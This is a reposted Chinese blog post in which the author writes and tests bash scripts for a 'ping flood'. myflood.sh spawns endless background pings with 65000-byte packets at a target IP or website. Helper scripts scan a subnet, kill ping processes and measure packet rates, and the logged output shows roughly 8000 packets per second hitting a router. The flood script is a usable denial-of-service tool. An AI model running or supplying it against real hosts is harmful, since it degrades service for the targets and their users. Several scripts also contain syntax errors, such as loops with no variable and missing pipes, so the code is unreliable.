linux “洪ping”

简介:

题目中“洪ping”带了“”,是因为我以前大一玩洪ping黑客软件没试成功过,也没有接触过这类软件的开发。

   印象中洪ping有如下特征:原始的洪ping一次能发送大于65500字节的请求包                                       :短时间内能发送大量的数据包(本实验的“数据包“每秒达到8000个左右)


   也就是说ping baidu.com -s 65000是合法的ping

   于是写了这么一个脚本

      myflood.sh


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#!/bin/bash
function  floodping(){
while  true
do
     ( ping  $toping -s 65000 &>  /dev/null ;)&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             
done
}
toping=$1;
floodping;
wait;



用法 $bash myflood.sh ip(192.168.1.2)

脚本原理:

   while true 死循环    

  .....  &> /dev/null   将前面产生的字符输入到/dev/null(黑洞)中;

   ()& 将()内的命令放在后台执行

   wait等待子进程结束

   脚本意图:不断产生 ping进程去发送数据包(在内存范围之内)


   先以网内ip做测试

   写了一个检测内网ip的脚本

  networks.sh


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#!/bin/bash
network= "192.168.1"
for  sitenu  in  $( seq  1 100)
do
  ( ping  -c 1 -w 1 ${network}.${sitenu} &>  /dev/null  &&  echo  ${network}.${sitenu} up ||  echo  ${network}.${sitenu} down)&
done
wait



$ bash networks.sh | grep up
192.168.1.1 up
192.168.1.5 up

192.168.1.4 up

本次以192.168.1.1做实验


为内存不被消耗完,于是写了一个杀死ping线程的脚本killpings.sh

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#!/bin/bash
function  killps(){
bbb= "`pgrep $threadname`"  #变量跟-号不要加空格
[ -z  "$bbb"  ] &&  echo  "$threadname is not running"  &&  exit   #加双引号,使空格无效
for  in  $bbb
     do  kill  -9 $i
     done
echo  "$threadname is kill"
}
threadname= 'ping' ;
while  true
do
sleep  1;
killps;
done
wait


这样myflood.sh一边产出ping子进程,一边killpings.sh杀死一部分进程;这样差不多布消耗内存(实验中只占用了200MB左右的内存)


实验结果的查看工具:

                           nload eth0查看流量。

                           ifconfig eth0 查看请求的数据包发送个数。利用这个原理写了一个检测数据包的脚本。(检测30秒,每秒一次)

   packagebc.sh

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#!/bin/bash
for   in  ` seq  1 30`;
do
firstgetvalue=$( ifconfig  eth0 |  tail  -n 5 |  tr  -d -c  '0-9 '  | tr  ' '  '\n'  tr  -s  '\n'  sed  -n  '2,2p' )
firstoutvalue=$( ifconfig  eth0 |  tail  -n 5 |  tr  -d -c  '0-9 '  | tr  ' '  '\n'  tr  -s  '\n'  sed  -n  '7,7p' )
sleep  1;
secondgetvalue=$( ifconfig  eth0 |  tail  -n 5 |  tr  -d -c  '0-9 '  | tr  ' '  '\n'  tr  -s  '\n'  sed  -n  '2,2p' )
secondoutvalue=$( ifconfig  eth0 |  tail  -n 5 |  tr  -d -c  '0-9 '  | tr  ' '  '\n'  tr  -s  '\n'  sed  -n  '7,7p' )
echo  "getvalue(s): "  $[ $secondgetvalue - $firstgetvalue]
echo  "outvalue(s): "  $[ $secondoutvalue - $firstoutvalue]
echo   -e  ""
done




本次实验用到4个终端

查看效果的终端(两个):

                           一个运行nload eth0

                           一个运行bash packagebc.sh(这里监测数据包的,如要查看内存用free命令)

脚本运行终端(必须两个配合):

                               一个运行脚本bash killpings.sh(确保在运行下面的myflood.sh脚本时,本脚本在运行)

                               一个运行bash myflood.sh 192.168.1.1 (或bash myflood goo..g.com)


本实验采集的数据有:该实验的内存占用数据;每秒的流量变化;每秒发出的数据包


实验过程中结果

内存占用

   实验前有3335596kb;实验时有内存占用约200MB(本次实验的占用内存是变化的:killpings.sh的作用)

流量占用



最重要的一个每秒“发送的请求包”数据变化(监测30秒内的数据)每秒能达到7500到8500左右。

   getvalue(s):  0
outvalue(s):  8245

getvalue(s):  264
outvalue(s):  8348

getvalue(s):  176
outvalue(s):  8296

getvalue(s):  485
outvalue(s):  8028

getvalue(s):  277
outvalue(s):  8256

getvalue(s):  616
outvalue(s):  7984

getvalue(s):  132
outvalue(s):  8275

getvalue(s):  440
outvalue(s):  7965

getvalue(s):  132
outvalue(s):  8248

getvalue(s):  441
outvalue(s):  8009

getvalue(s):  265
outvalue(s):  8216

getvalue(s):  616
outvalue(s):  7486

getvalue(s):  221
outvalue(s):  8268

getvalue(s):  308
outvalue(s):  7446

getvalue(s):  178
outvalue(s):  8262

getvalue(s):  573
outvalue(s):  7664

getvalue(s):  308
outvalue(s):  8265

getvalue(s):  616
outvalue(s):  7788

getvalue(s):  221
outvalue(s):  8255

getvalue(s):  616
outvalue(s):  7810

getvalue(s):  247
outvalue(s):  8208

getvalue(s):  617
outvalue(s):  7576

getvalue(s):  177
outvalue(s):  8246

getvalue(s):  528
outvalue(s):  7493

getvalue(s):  176
outvalue(s):  8248

getvalue(s):  661
outvalue(s):  6856

getvalue(s):  221
outvalue(s):  8262

getvalue(s):  660
outvalue(s):  7528

getvalue(s):  396
outvalue(s):  8203

getvalue(s):  751
outvalue(s):  7746

这里就不以网站做实验,觉得原理应该一样的。


不清楚这算不算他们意义上的洪ping,感谢专业人士的评估


本文转自lilin9105 51CTO博客,原文链接:http://blog.51cto.com/7071976/1253225,如需转载请自行联系原作者


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